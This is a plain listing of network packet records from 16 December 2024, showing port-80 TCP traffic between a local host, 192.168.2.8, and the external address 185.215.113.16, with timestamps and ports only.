Dec 16, 2024 13:16:31.359376907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.360070944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.360083103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.360532999 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.361007929 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.361020088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.362035990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.362049103 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.362088919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.362088919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.362759113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.363356113 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.363369942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.363795996 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.363841057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.364120007 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.364135027 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.364211082 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.364864111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.364876032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.365777969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.365791082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.365828037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.365828037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.366624117 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.367355108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.367368937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.367588997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.367638111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.367638111 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.367702961 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.368041039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.368642092 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.368706942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.368870974 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.368952990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.369642973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.369653940 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.370521069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.370613098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.370635033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.371560097 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.371654034 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.371738911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.372456074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.372534990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.372572899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.372612000 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.373416901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.373461962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.373522043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.373593092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.374490976 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.374500036 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.374542952 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.375370026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.375523090 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.375555038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.375603914 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.376358032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.376424074 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.376450062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.376574039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.377352953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.377402067 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.377429008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.377486944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.378429890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.378442049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.378483057 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.379560947 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.379611969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.379676104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.379719019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.380573988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.380584955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.380625010 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.381328106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.381398916 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.381438971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.381438971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.382103920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.382240057 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.382272005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.382419109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.383138895 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.383194923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.383203983 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.383243084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.384078979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.384133101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.384160042 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.384217024 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.385251999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.385262012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.385356903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.386049032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.386127949 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.386158943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.386243105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.387084961 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.387209892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.387238979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.387305021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.388247013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.388257980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.388319016 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.388866901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.388994932 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.389020920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.389291048 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.389847040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.389909983 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.389939070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.390050888 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.390791893 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.390844107 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.390929937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.391211987 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.391767025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.391819954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.391849995 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.391920090 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.392844915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.392898083 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.392926931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.392980099 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.393729925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.393785954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.393790960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.393914938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.394785881 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.394797087 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.394836903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.395860910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.395870924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.395924091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.396656990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.396919966 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.396950960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.397006035 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.397588968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.397692919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.397753954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.397993088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.398674965 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.398724079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.398813009 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.398813009 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.399477005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.399559975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.399589062 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.399676085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.400454044 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.400538921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.400567055 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.400640011 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.401585102 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.401596069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.401637077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.402489901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.402566910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.402657986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.402704954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.403397083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.403511047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.403539896 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.403644085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.404429913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.404500008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.404527903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.404598951 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.405373096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.405383110 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.405463934 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.406246901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.406303883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.406449080 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.406527042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.407294989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.407341003 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.549432039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.549485922 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.549628973 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.549896002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.549907923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.550054073 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.550750971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.550906897 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.550928116 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.550978899 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.551867008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.551914930 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.552208900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.552282095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.552756071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.552805901 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.552918911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.552985907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.553838968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.553889990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.554013014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.554070950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.554658890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.554743052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.554922104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.555061102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.555577040 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.555634022 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.555736065 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.555824995 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.556585073 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.556646109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.556658030 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.556780100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.557499886 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.557622910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.557657957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.557759047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.558525085 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.558600903 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.558619022 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.558763027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.559473038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.559659004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.559691906 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.559798002 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.560431957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.560508013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.560540915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.560583115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.561471939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.561481953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.561573982 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.562306881 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.562474012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.562504053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.562566042 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.563342094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.563385010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.563400030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.563534975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.564254045 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.564306021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.564415932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.564467907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.565288067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.565335035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.565465927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.565465927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.566184044 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.566288948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.566319942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.566371918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.567164898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.567244053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.567279100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.567329884 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.568161964 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.568331003 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.568366051 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.568470955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.569171906 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.569224119 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.569252968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.569341898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.570173979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.570184946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.570225954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.570225954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.571012974 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.571187019 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.571207047 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.571336031 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.572957993 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.572971106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.572982073 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.573937893 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.573952913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.573997021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.573997021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.574074030 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.574995041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.575006008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.575390100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.575390100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.576003075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.576015949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.576052904 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.577721119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.577733994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.577872038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.577891111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.577909946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.578023911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.578025103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.578870058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.578882933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.578933001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.580667019 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.580682993 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.580694914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.580974102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.580974102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.581027031 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.581721067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.581732988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.581780910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.581782103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.583383083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.583395004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.583662987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.583674908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.583722115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.583722115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.584616899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.584629059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.585617065 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.585628986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.585669041 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.585669041 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.586040974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.586734056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.586746931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.587354898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.587507010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.587517023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.587593079 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.588427067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.588527918 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.588557005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.588644028 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.589368105 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.589479923 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.589504957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.590090990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.590354919 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.590518951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:31.590668917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:31.591355085 CET	80	49746	185.215.113.16	192.168.2.8
